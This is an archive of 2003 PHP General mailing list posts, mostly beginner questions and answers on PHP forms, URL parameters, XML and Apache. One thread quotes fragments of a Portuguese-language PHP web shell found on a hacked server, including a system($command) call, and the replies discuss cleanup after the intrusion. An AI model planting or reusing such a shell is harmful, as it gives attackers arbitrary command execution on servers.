> difficulties the program builds the form dynamically... all radio 
> buttons... when the user submits the form i need to disect each form 
> answer and then dump it into MySQL... So I need to know if I can do 
> something like use the 'explode()' function no this... and assign them

> to variables... I need to draw out the radio button id and what they 
> answered...

I really don know whether i got ur question or not. Probably ur
questions is abt fetching the radio buttons id and their corresponding
values, when a form is submitted . Well if u have large number of radio
buttons then give some common name to all of them. like radbut1,
radbut2, radbut3 and so on

so u know anything starting from "radbut" is your radio button ..

now use $HTTP_POST_VARS or GET_VARS depending upon ur form method to
retrieve the variables/values pairs. i.e
while(list($key,$value) = each($HTTP_POST_VARS))
{
if (eregi("radbut",$key)) // radio button
// Carry out operations u want

}




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] How Do I Change A Number to Percentage

2003-07-25 Thread Joe Harman
Hey, hope all are doing fine. can someone help me be showing me how
to change the following numbers to represent percentages
 
0.92857142857143
0.071428571428571
1.0
 
Thanks
Joe Harman

http://www.HarmanMedia.com

So we went to Atari and said, `Hey, we've got this amazing thing, even
built with some of your parts, and what do you think about funding us?
Or we'll give it to you. We just want to do it. Pay our salary, we'll
come work for you.' And they said, `No.' So then we went to
Hewlett-Packard, and they said, `Hey, we don't need you. You haven't got
through college yet.' - Steve Jobs, founder of Apple Computer Inc. on
attempts to get Atari and H-P interested in his personal computer. 
 


[PHP] Strip Numbers

2003-07-29 Thread Joe Harman
Hey could someone help me out here
 
I need to strip numbers from a passed variable
 
ex. 3899007
 
all the numbers will have 990 (so that is the 4th, 5th & sixth
numbers... from the right...) I want to keep everything to the left of
the two 9s... is there an easy way to do that????
 
Joe Harman

http://www.HarmanMedia.com

This `telephone' has too many shortcomings to be seriously considered as
a means of communication. The device is inherently of no value to us. -
Western Union internal memo, 1876 
 


[PHP] THX Strip Numbers

2003-07-30 Thread Joe Harman
Hey Thanks you guys... I appreciate your help!
 
Cheers
 
Joe Harman

http://www.HarmanMedia.com

This `telephone' has too many shortcomings to be seriously considered as
a means of communication. The device is inherently of no value to us. -
Western Union internal memo, 1876 
 


[PHP] Possible My Website was hacked... with PHP... please tell me what this is???

2003-07-30 Thread Joe Harman
I found this on my server... I have no idea what it is... can someone
tell me what it does... 

 

Thanks

 

--

 

 

PHP Shell - CP





Crime
Perfect

PHP Shell - by _m4st3r_c0d3





Diretório em que você está no momento:

Root/";

if ($work_dir_splitted[0] == "") {

$work_dir = "/"; /* Root directory. */

} else {

for ($i = 0; $i < count($work_dir_splitted); $i++) {

/* echo "i = $i";*/

$url .= "/".$work_dir_splitted[$i];

echo "$work_dir_splitted[$i]/";

}

}

?>



Escolha abaixo o diretório em que deseja ir:



Current
Directory\n";

} elseif ($dir == "..") {

/* We have found the parent dir. We must be carefull if the parent

directory is the root directory (/). */

if (strlen($work_dir) == 1) {

/* work_dir is only 1 charecter - it can only be / */

} elseif (strrpos($work_dir, "/") == 0) {

/* The last / in work_dir were the first charecter.

This means that we have a top-level directory

eg. /bin or /home etc... */

echo "Parent Directory\n";

} else {

/* We do a little bit of string-manipulation to find the parent

directory... Trust me - it works :-) */

echo "Parent Directory\n";

}

} else {

if ($work_dir == "/") {

echo "$dir\n";

} else {

echo "$dir\n";

}

}

}

}

closedir($dir_handle);

?>



Digite abaixo os comandos que deseja executar:

 > 

Ligar/Ativar stderr-trapping?



Abaixo, terminal onde aparecerá os resultados dos comandos
que

você executou





 /tmp/output.txt 2>&1; cat /tmp/output.txt; rm
/tmp/output.txt");

} else {

system($command);

}

}

?>







 

Crime Perfect 2003 

By _m4st3r_c0d3 - #crimeperfect







 

 
Joe Harman

http://www.HarmanMedia.com

Only two things are infinite, the universe and human stupidity, and I'm
not sure about the former. - Albert Einstein 
 


RE: [PHP] Possible My Website was hacked... with PHP... please tell me what this is???

2003-07-30 Thread Joe Harman

Fortunatly I don't think they were doing something correctly, cause it
didn't deface my site like some of the others 

Thanks all
Joe

-Original Message-
From: Adrian [mailto:[EMAIL PROTECTED] 
Sent: Thursday, July 31, 2003 2:14 AM
To: [EMAIL PROTECTED]
Subject: Re: [PHP] Possible My Website was hacked... with PHP... please
tell me what this is???


everyone can execute shell commands via system(); on your server.
-> delete the script ;)



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Possible My Website was hacked... with PHP... please tell me what this is???

2003-07-31 Thread Joe Harman
Yeah, definatley reason to explore the possibilities... But this is
really my own stupid fault it got there in the first place... I had an
image upload form and I didn't tell it only to accept image/jpeg or
image/gif

Resolution... I deleted everything, and took down the upload form and
notified my webhost... I guess it wasn't the first time they've seen
this... So the are taking action on it and probably canceling my
account... LOL... 

Thanks for all your help!
Joe

-Original Message-
From: Joel Rees [mailto:[EMAIL PROTECTED] 
Sent: Thursday, July 31, 2003 3:10 AM
To: Joe Harman; [EMAIL PROTECTED]
Subject: Re: [PHP] Possible My Website was hacked... with PHP... please
tell me what this is???


Assuming you are not just trolling,

> Fortunatly I don't think they were doing something correctly, cause it

> didn't deface my site like some of the others

Don't count on it. They only deface servers they don't want to use.

> ...
> everyone can execute shell commands via system(); on your server.
> -> delete the script ;)

Oh, by all means, delete it if you want. But it's not the hole it came
in through, and it's not the real backdoor.

It's so blatent, I'd guess it's a script kiddy or a decoy. Even if it's
a script kiddy, you _want_ to know how it got on the box.

I'd take the box offline, back up all the data and configuration files,
and re-install the whole system and all programs from scratch. Go over
every configuration file with a fine-tooth comb. 

If the machine is on a subnet and I controlled the subnet, I think I'd
take the whole subnet down, including the firewall, and clean every
machine up, not putting any machine back on the subnet until it was
clean and any holes patched. If I didn't control the subnet, I'd make
sure the persons who did know there had been a break-in.

And if you have any valuable data, consider it to have been stolen. If
you have credit card numbers, report the possibility of theft to the
credit card companies. Etc.

If you're trolling, go away.

-- 
Joel Rees, programmer, Systems Group
Altech Corporation (Alpsgiken), Osaka, Japan http://www.alpsgiken.co.jp


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Article: PHP vs ASP

2003-07-31 Thread Joe Harman
Oh, do you mean like Chilisoft for PHP on a IIS server... LOL.. That
would be funny

-Original Message-
From: John Manko [mailto:[EMAIL PROTECTED] 
Sent: Thursday, July 31, 2003 10:13 AM
To: Jay Blanchard
Cc: Ralph Guzman; PHP General Mailing List
Subject: Re: [PHP] Article: PHP vs ASP


I'm wondering if there is an IIS extention for allow PHP in ASP.  
Wouldn't that be a kick in the ass.
(I'm not talking about PHP for IIS, either)


Jay Blanchard wrote:

>[snip]
>Might want to file this link, next time somebody asks about PHP vs. ASP
>
>http://www.wowwebdesigns.com/wowbb/forum12/149.html
>[/snip]
>
>
>And the thing is that you cannot compare ASP to PHP. ASP is a platform,

>PHP is a language.  This arg has been going on for a couple of years. 
>ASP (Active Server Pages) can entertain a number of languages (VBScript

>being most popular).
>
>  
>



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Article: PHP vs ASP

2003-07-31 Thread Joe Harman
Yes I agree it would be funny... In my opinion there is no need for the
ASP platform... But then again, who am I for having an educated opinion,
I let a hacker put a shell script on my site NOW THAT'S FUNNY!

-Original Message-
From: John Manko [mailto:[EMAIL PROTECTED] 
Sent: Thursday, July 31, 2003 10:22 AM
To: Jay Blanchard
Cc: Ralph Guzman; PHP General Mailing List
Subject: Re: [PHP] Article: PHP vs ASP


because it would be funny


Jay Blanchard wrote:

>[snip]
>I'm wondering if there is an IIS extention for allow PHP in ASP.
>Wouldn't that be a kick in the ass.
>(I'm not talking about PHP for IIS, either)
>[/snip]
>
>But why go to the extra-effort? Just to save yourself the installation 
>of PHP on the IIS box?
>
>  
>



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Tracking Users via Cookies? IDEA

2003-08-04 Thread Joe Harman
What if you could read a browser's history file... There has to be a way
to do this with something like javascript... Just an idea... 

Joe

-Original Message-
From: Ryan A [mailto:[EMAIL PROTECTED] 
Sent: Sunday, August 03, 2003 9:03 PM
To: Jason Bourque
Cc: [EMAIL PROTECTED]
Subject: Re: [PHP] Tracking Users via Cookies?


Hey,
As far as i know you cant do that, you can see from where they have come
(ie. where they have visited before coming to you) but not after they
leave your site unless they return.

/*
>I want to give my client an
> informed answer on what is possible, then let them know the 
>implications
of
> privacy invasion.
*/
Yeah right, we belive you. :-D

Cheers,
-Ryan

We will slaughter you all! - The Iraqi (Dis)information ministers site
http://MrSahaf.com


- Original Message -
From: "Jason Bourque" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Monday, August 04, 2003 1:58 AM
Subject: [PHP] Tracking Users via Cookies?


> Hello,
>
> I hope someone can answer this. I have a client that would like to 
> track their visitors if they go to other competitors websites after 
> visiting
their
> own.
>
> Is this possible? I think it is possible to track where they go in the
site
> visited. . .
>
> I know that tracking isn't a good idea but I want to give my client an

> informed answer on what is possible, then let them know the 
> implications
of
> privacy invasion.
>
> Thanks for any responses.
>
> Jason Bourque
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] PHP & P2P File sharing

2003-08-06 Thread Joe Harman
Hello, 
 
I curious if anyone knows of a PHP based Peer-to-Peer file sharing
program out there! I have a friend that wants to implement this with his
web server.. 
 
Joe Harman


 


RE: [PHP] PHP & P2P File sharing

2003-08-06 Thread Joe Harman
Hey Chris.. Thanks for the insite... I was basically trying to provide a
way for a community of graphic/3D artist to share their files... Like
clothes and hair for poser... It would be great to take advantage of a
network like the Gnuetella one... I will look into the overnet site... I
may just make a file locker type app for them

Joe

> -Original Message-
> From: Chris Shiflett [mailto:[EMAIL PROTECTED] 
> Sent: Wednesday, August 06, 2003 11:28 PM
> To: Joe Harman; [EMAIL PROTECTED]
> Subject: Re: [PHP] PHP & P2P File sharing
> 
> 
> --- Joe Harman <[EMAIL PROTECTED]> wrote:
> > I curious if anyone knows of a PHP based Peer-to-Peer file sharing 
> > program out there! I have a friend that wants to implement 
> this with 
> > his web server..
> 
> P2P isn't exactly something you do with PHP anymore than you 
> would write a Web server with PHP (which has been done, 
> however, but I hope you can still see my point). A better 
> approach, in my opinion, is to think of ways to allow your 
> users to interact with a P2P network while using your Web 
> application. There is a command-line client for Overnet 
(http://www.overnet.com/), for example, and PHP can interact with this
to perform whatever tasks you want to expose to your Web users. Most
every P2P protocol I am familiar with does not fit well within the Web
paradigm (HTTP transactions, etc.). So, you have to be creative and make
your Web application provide the layer that interprets your users'
desires, executes the appropriate tasks using a P2P client, and displays
the results in a way that can fit into the Web paradigm (downloads will
probably take longer than you want to wait before responding to users,
for example).

That's my perspective anyway (and I've been faced with this same task).
Hope it helps.

Chris

=
Become a better Web developer with the HTTP Developer's Handbook
http://httphandbook.org/



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Still can't pass variable through url

2003-08-08 Thread Joe Harman
Jack... Can you paste your code into an email and post it

> -Original Message-
> From: Jack [mailto:[EMAIL PROTECTED] 
> Sent: Friday, August 08, 2003 2:30 AM
> To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
> Subject: [PHP] Still can't pass variable through url
> 
> 
> Dear all
> I had set the "register_global=on" and 
> "magic_quotes_runtime=off" already, but when i click my 
> hyperlink "page.php?year=$year&?month=$month", it doesn't 
> pass the variable for ?year and ?month to the destination 
> page "page.php" I'm using php 5.0 above , if the same case 
> apply to php4.04, then there is no problem at all! Can anyone 
> please give me more help on this?
> 
> Thx alot
> Jack
> 
> 
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
> 
> 


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Still can't pass variable through url.. whoops

2003-08-08 Thread Joe Harman
YEPPERS.. You're right

> -Original Message-
> From: Martin Towell [mailto:[EMAIL PROTECTED] 
> Sent: Friday, August 08, 2003 2:59 AM
> To: 'Joe Harman'; [EMAIL PROTECTED]
> Subject: RE: [PHP] Still can't pass variable through url
> 
> 
> This _might_ be causing you problems...
>   $month=march;
> strings should be quoted (unless you've define("march", 
> "march")'ed it...)
>   $month='march';
> 
> Martin
> 
> -Original Message-
> From: Joe Harman [mailto:[EMAIL PROTECTED]
> Sent: Friday, 8 August 2003 4:55 PM
> To: [EMAIL PROTECTED]
> Subject: RE: [PHP] Still can't pass variable through url
> 
> 
>  $year=1999;
> $month=march;
> 
> echo " href=\"http://www.thingamajigger.com/index.php?year=$year&mont
> h=$month\"
> >yeah this is the link";
>  
> ?>
> 
> > -Original Message-
> > From: John Manko [mailto:[EMAIL PROTECTED]
> > Sent: Friday, August 08, 2003 2:47 AM
> > To: Martin Towell
> > Cc: 'Jack'; [EMAIL PROTECTED]; [EMAIL PROTECTED]
> > Subject: Re: [PHP] Still can't pass variable through url
> > 
> > 
> > actually, you might want to urlencode it.
> > ok, so i doubt that you would need url encoding for $year 
> and $month,
> > but I'm sure you will playing with more of this in the 
> future, so you 
> > should properly prepare to do so.  Note: browsers will do 
> > formatting for 
> > you, but don't rely on it.
> > 
> > "page.php?year=" . urlencode($year) . "&month=" . urlencode($month)
> > 
> > 
> > Martin Towell wrote:
> > 
> > >See if changing it to
> > >   page.php?year=$year&month=$month
> > >works
> > >
> > >
> > >The separator between the page and the query string is "?" The 
> > >separator between each key/value pair is just "&"
> > >
> > >-Original Message-
> > >From: Jack [mailto:[EMAIL PROTECTED]
> > >Sent: Friday, 8 August 2003 4:30 PM
> > >To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
> > >Subject: [PHP] Still can't pass variable through url
> > >
> > >
> > >Dear all
> > >I had set the "register_global=on" and "magic_quotes_runtime=off"
> > >already, but when i click my hyperlink 
> > >"page.php?year=$year&?month=$month", it doesn't pass the 
> > variable for
> > >?year and ?month to the destination page "page.php" I'm
> > using php 5.0
> > >above , if the same case apply to php4.04, then there is no
> > problem at
> > >all! Can anyone please give me more help on this?
> > >
> > >Thx alot
> > >Jack
> > >
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
> 
> 


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Re: [ERR] DEAD MAILBOX

2003-08-11 Thread Joe Harman
CHRISTMAS IN AUGUST!

> -Original Message-
> From: andu [mailto:[EMAIL PROTECTED] 
> Sent: Friday, August 08, 2003 2:53 AM
> To: [EMAIL PROTECTED]
> Subject: Re: [PHP] Re: [ERR] DEAD MAILBOX
> 
> 
> On Fri, 08 Aug 2003 02:52:31 -0400
> John Manko <[EMAIL PROTECTED]> wrote:
> 
> > arrg.
> > 
> > 
> > [EMAIL PROTECTED] wrote:
> > 
> > >Transmit Report:
> > >
> > > To: [EMAIL PROTECTED], 402 Local User Inbox Full ([EMAIL PROTECTED])
> > >  
> > >
> 
> Comes free with the list...;-)
> 
> -- 
> Andu
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
> 
> 


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Flash Actionscript List or Forum

2003-08-12 Thread Joe Harman
Hello all,
 
I've been doing PHP for a little while now... I am starting learn Action
Script now... and having trouble with global variables and functions...
does anyone know where I find a good list or forum for action script?
 
Joe Harman

http://www.HarmanMedia.com

I used to think I was indecisive, but now I'm not so sure. - Joe Harman,
2003 
 


RE: [PHP] Still can't pass variable through url

2003-08-12 Thread Joe Harman
http://www.thingamajigger.com/index.php?year=$year&month=$month\";
>yeah this is the link";
 
?>

> -Original Message-
> From: John Manko [mailto:[EMAIL PROTECTED] 
> Sent: Friday, August 08, 2003 2:47 AM
> To: Martin Towell
> Cc: 'Jack'; [EMAIL PROTECTED]; [EMAIL PROTECTED]
> Subject: Re: [PHP] Still can't pass variable through url
> 
> 
> actually, you might want to urlencode it.
> ok, so i doubt that you would need url encoding for $year and $month, 
> but I'm sure you will playing with more of this in the future, so you 
> should properly prepare to do so.  Note: browsers will do 
> formatting for 
> you, but don't rely on it.
> 
> "page.php?year=" . urlencode($year) . "&month=" . urlencode($month)
> 
> 
> Martin Towell wrote:
> 
> >See if changing it to
> > page.php?year=$year&month=$month
> >works
> >
> >
> >The separator between the page and the query string is "?"
> >The separator between each key/value pair is just "&"
> >
> >-Original Message-
> >From: Jack [mailto:[EMAIL PROTECTED]
> >Sent: Friday, 8 August 2003 4:30 PM
> >To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
> >Subject: [PHP] Still can't pass variable through url
> >
> >
> >Dear all
> >I had set the "register_global=on" and "magic_quotes_runtime=off" 
> >already, but when i click my hyperlink 
> >"page.php?year=$year&?month=$month", it doesn't pass the 
> variable for 
> >?year and ?month to the destination page "page.php" I'm 
> using php 5.0 
> >above , if the same case apply to php4.04, then there is no 
> problem at 
> >all! Can anyone please give me more help on this?
> >
> >Thx alot
> >Jack
> >
> >
> >
> >  
> >
> 
> 
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
> 
> 


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Installer Software

2003-08-14 Thread Joe Harman
Hello, 
 
I am making an application in PHP, but I want it to run on a user's
local computer... but I need to find someway to bundle this so that when
it is distributed, the installer installs PHP for windows... then copys
the PHP files to the correct directory, then puts a short cut on the
desktop... can anyone recommend anything out there.. preferably that is
free
 
Respectfully,
Joe Harman


 


[PHP] postmaster@hanmir.com

2003-08-14 Thread Joe Harman
Hey is every one getting a returned message from
[EMAIL PROTECTED]
 
Joe Harman


 


RE: [PHP] error: cannot redeclare ()

2003-08-14 Thread Joe Harman
Hi Martin... I am guessing you have a nested function that is being
redeclared, your error would come from there... Just a guess anyhow...

Joe

> -Original Message-
> From: Martin Towell [mailto:[EMAIL PROTECTED] 
> Sent: Thursday, August 07, 2003 2:11 AM
> To: [EMAIL PROTECTED]
> Subject: [PHP] error: cannot redeclare ()
> 
> 
> I'm getting the following error:
> 
> PHP Fatal error:  Cannot redeclare () (previously declared in
> /path/to/file/functions.inc:19) in 
> /path/to/file/functions.inc on line 0
> 
> Anyone have any ideas how a no-name function could be 
> generated? Line 19 contains:
>   function idb_exec_deadlock($sql,$count=0)
> 
> There are only two lines before this that contain code (the rest are
> comments) and they are:
>   if (!$__GEN_HIR_FUNCTIONS_INCLUDE){
> $__GEN_HIR_FUNCTIONS_INCLUDE=1;
> 
> TIA
> Martin
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
> 
> 


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Easy XML & PHP tutorials ?????

2003-08-21 Thread Joe Harman
Hello all. does anyone have any very easy XML tutorials . I have a
simple weather feed I want to implement. but no XML experience

thanks

Joe Harman





RE: [PHP] Easy XML & PHP tutorials ?????

2003-08-21 Thread Joe Harman
Burhan!

Thanks a lot... This is great... I am going through it right ... Have a
great day!
Joe

> -Original Message-
> From: Burhan Khalid [mailto:[EMAIL PROTECTED] 
> Sent: Thursday, August 21, 2003 10:35 PM
> To: Joe Harman; [EMAIL PROTECTED]
> Subject: Re: [PHP] Easy XML & PHP tutorials ?
> 
> 
> On Friday, August 22, 2003, 2:16:06 AM, Joe wrote:
> 
> JH> Hello all. does anyone have any very easy XML tutorials . 
> I have a 
> JH> simple weather feed I want to implement. but no XML experience
> 
> JH> thanks
> 
> 
> I have one at my site, complete with an example and 
> downloadble code. I also wrote a class that parses an XML 
> weather feed. Are  you trying to use the intercept vector xml feeds?
> 
> Anyhow, the tutorial is at my site (check the signature). 
> Click on PHP under the sections on the left. 
> 
> If you don't find mine too useful, there are plenty of other 
> tutorial sites around. My favorite one is at zend 
http://www.zend.com/zend/tut/

-- 
Regards,
Burhan Khalid
phplist[at]meidomus[dot]com
http://www.meidomus.com




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] PHP - XHTML converter to HDML or WML

2003-08-29 Thread Joe Harman
Hey maybe you guys can help me out here.

I would like to start developing for WAP enabled devices. since there
are a lot of people out there who still have phones that use different
version of WML and still some that use HDML. and then the new phones
being able to display XHTML. I would like to either find a parser or
make one that will convert a XHTML file to be compatable with the older
mark-up languages. does anyone have experience with this?

Give you an example.. I have a Sanyo SCP-4700 on the Sprint PCS network.
only HDML 3.0 and WML 1.1 is compatable.. So I run into a lot of
different errors.

So the first step would be to figure out how to determine a cell phone
user's browser. So what's it capable of WML 1.1 or WML 2.0, HDML.. Or
XHTML

Appreciate the feedback,

Joe Harman

http://www.HarmanMedia.com

Have you ever noticed? Anybody going slower than you is an idiot, and
anyone going faster than you is a maniac. - George Carlen



[PHP] Restart Apache with PHP???

2003-09-02 Thread Joe Harman
Hey guys & gals... 

Is there a way to restart Apache with a PHP command?



Joe Harman

 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Thanks Richard Schwartz

2003-09-04 Thread Joe Harman
Dude stop being a jerk, I don't treat people this way... Ah, anyhow...
It's not me who will judge you Is it?

> -Original Message-
> From: Richard Schwartz [mailto:[EMAIL PROTECTED] 
> Sent: Thursday, September 04, 2003 11:28 AM
> To: Joe Harman
> Subject: Re: Thanks From Joe: ATM Archives and List Guidelines
> 
> 
> unsubscribe ***
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> OK, I already know your next post that will be such a great 
> challenge.   It
> will be a multipart question and all parts will have the same answer:
> 
> 1.  Where can I find a beautiful, bright, talented, 
> compassionate, and well educated woman, half my age, who will 
> love me and be devoted to me and our children.
> 
> 2.  Where can I find a doctor who will listen?
> 
> 3.  Where can I find a mechanic who will fix my car right the 
> first time.
> 
> 4.  Where can I find an honest lawyer?
> 
> 5.  Where can I find a realtor who places community interests 
> above profits?
> 
> 
> 
> 
> - Original Message - 
> From: "Joe Harman" <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>
> Sent: Wednesday, September 03, 2003 9:42 PM
> Subject: Thanks From Joe: ATM Archives and List Guidelines
> 
> 
> >
> > 
> > Okay... Thanks to all of you... But this was the best email for 
> > guidelines I have ever seen wrote. (the 11 below)... I will stick 
> > through all the hazing... I promise... So filter me if you would 
> > like... But I hope to soon be an asset to the list...
> >
> > My next post should be challenging to even the most 
> seasoned ATMers... 
> > I promise!
> >
> > 
> > Joe
> >
> > :o)
> >
> > > -Original Message-
> > > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On 
> Behalf Of 
> > > George Anderson
> > > Sent: Wednesday, September 03, 2003 11:09 PM
> > > To: Joe Harman; atm
> > > Subject: Re: ATM Archives and List Guidelines
> > >
> > >
> > >
> > > Hi Joe
> > >
> > > Don't let the "rude manners" of some of the members put you off. 
> > > They are actually quite nice people who are quite willing 
> to share 
> > > information and ideas. They are just a little cranky at 
> responding 
> > > to the same seven questions (you've asked the first) that 
> get asked 
> > > by all new members. Remember the two old guys on the muppet show? 
> > > There are close to a thousand of us here. What you have just been 
> > > through is sort of an initiation ceremony that most new members go
> > > through. The HTML thing is a combination of netiquette and
> > > the fact that some members pay by the byte and have slow
> > > connections. Besides the "read the archives" chant from
> > > almost every member you will encounter the following
> > > responses to questions that you will ask over the next few months.
> > >
> > > 1) Read the archives  (stock answer for any question for which we 
> > > may or may not have the answer)
> > >
> > > 2) Check Texereau, it is part of the requisite book list
> > >
> > > 3) Don't read Texereau, it is an outdated fascist novel
> > >
> > > 4) The answer is in Ingalls Book 2
> > >
> > > 5) Read the archives (I'm sure someone asked this same 
> question back 
> > > in
> > > '95)
> > >
> > > 6) Grind more worry less (actually very true and valuable)
> > >
> > > 7) Verify the secondary size with Newt
> > >
> > > 8) Don't use Newt, it doesn't give a true representation
> > >
> > > 9) Read the archives (Did I mention this yet?)
> > >
> > > 10) No it can't be done, Peter Hoffenstoffer tried that 
> back in 98 
> > > and the mirror suffered from stig and potatoe chipping (check the 
> > > archives)
> > >
> > > 11) Yes it works, Peter fixed it with a new mirror cell and 
> > > used/eliminated the sling in '99 (read the archives)
> > >
> > > And yes there is a Cabal in the ATM list, the proof is that they 
> > > deny the presence of the Cabal. Why would they deny the 
> presence if 
> > > it didn't exist?   Pushing glass and making 
> telescopes is a zen 
> > > like pursuit, think back to the '70s and the show Kung-Fu 
> "Can you 
> > > snatch the pebble from my
> > > hand..."   Welcome to the l

[PHP] [Thoughts About This] [Newbie Guide] For the benefit of new members

2003-09-05 Thread Joe Harman
Great guide here Ma Siva Kumar... I am a little guilty of not doing
this, actually recently too... As I think most of us are at one point or
another... Although I would like to add alittle something, maybe just
alittle guidance for newbies and seasoned professionals like yourself!

1. Helping those newbies out there helps promote PHP & Opensource
stuff... This is HUGE... Even if we have to hold someones hand through
the first steps. 

2. Most of understand the descriptions and explinations on the PHP.nt
site... But sometimes they are alittle vague (seldom though)... And most
people see them as very very technical... And they need some people to
translate for them... 

3. Tutorials are a great way to learn PHP... There is so much out there.
I am by no means an advance PHP programmer... But more of an
intermediate one... Often I do go through tutorials, but still am left a
little puzzled... So I ask people on these mailinglist for
clarification... I found that people here have a wealth of knowledge to
make people like me(RIGHT BRAINERS) understand... Heck if it wasn't for
some of these guys here, I would still be trying to understand
arrays

Bravo Ma Siva Kumar... Good guide...

Cheers!
Joe

> -Original Message-
> From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] 
> Sent: Monday, September 01, 2003 12:33 AM
> To: PHP Mailing List
> Subject: [PHP] [Newbie Guide] For the benefit of new members
> 
> 
> =
> This message is for the benefit of new subscribers and those 
> new to PHP.  
> Those who  do not want to be bothered just filter out the 
> [Newbie Guide] 
> mails. Please feel free to add more points and send to the 
> list. ==
> 1. If you have any queries/problems about PHP try 
> http://www.php.net/manual/en 
> first. You can download a copy and use it offline also.
> 
> 2. If you can not get answer here try http://www.google.com next. Try 
> searching for "php YOUR QUERY" and you may be lucky to get an 
> answer within 
> the first 10 results.
> 
> 3. Glancing through the list archive at 
> http://marc.theaimsgroup.com/?l=php-general , you can find 
> many of the 
> common topics discussed repeatedly and can get your answer from those 
> discussions. 
> 
> 4. If you are stuck with a script and do not understand what 
> is wrong, instead 
> of posting the whole script, try doing some research 
> yourself. One useful 
> trick is to print the variable/sql query using print or echo 
> command and 
> check whether you get what you expected. 
> 
> After diagnosing the problem, send the details of your 
> efforts (following 
> steps 1,2 & 3) and ask for help in the list.
> 
> 5. Provide a clear descriptive subject line. Avoid general 
> subjects like 
> "Help!!", "A Question" etc.  Especially avoid blank subjects. 
> 
> 6. When you want to start a new topic, open a new mail and 
> enter the mailing 
> list address [EMAIL PROTECTED] instead of replyting 
> to an existing 
> thread and replacing the subject and body with your message.
> 
> 7. PHP is a server side scripting language. Whatever 
> processing PHP does takes 
> place BEFORE the output reaches the client. Therefore, it is 
> not possible to 
> access the users'  computer related information (OS, screen 
> size etc) using 
> PHP. You need to go for Java Script and ask the question in a 
> Java Script 
> list.
> 
> 8. It's always a good idea to post back to the list once 
> you've solved your problem. People usually add [SOLVED] to 
> the subject line of their email when posting solutions. By 
> posting your solution you're helping the next person with the 
> same question. [contribued by Chris W Parker]
> 
> 9. Ask smart questions http://catb.org/~esr/faqs/smart-questions.html
> [contributed by Jay Blanchard)
> 
> Hope you have a good time programming with PHP.
> 
> Best regards,
> 
> -- 
> Ma Siva Kumar,
> 
> INTEGRATED MANAGEMENT TOOLS FOR LEATHER INDUSTRY
> BSG LeatherLink,
> Chennai.
> Ph: +91 44 55191757
> URL : http://www.leatherlink.net
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
> 
> 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] IP to Postal Code CSV? anyone messed around with this and PHP

2003-09-23 Thread Joe Harman
Is there a CSV file out there for this

Does anyone know where I can aquire a file that has IP address with the
corresponding Postal Code?

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] PNGs & PHP feedback

2003-09-29 Thread Joe Harman
Hello,

I am looking for some guidance... I am using PHP to make dynamic
buttons... Is the PNG image format a pretty safe thing to go with...
Standard wise?

Thanks for your input.
Joe

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] MySQL get second row problem

2003-10-02 Thread Joe Harman
Hello... I am having just alittle trouble with this... I know it's
simple... Look at my comment for the problem I am having



Thanks

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] MySQL get second row problem [Solved]

2003-10-02 Thread Joe Harman
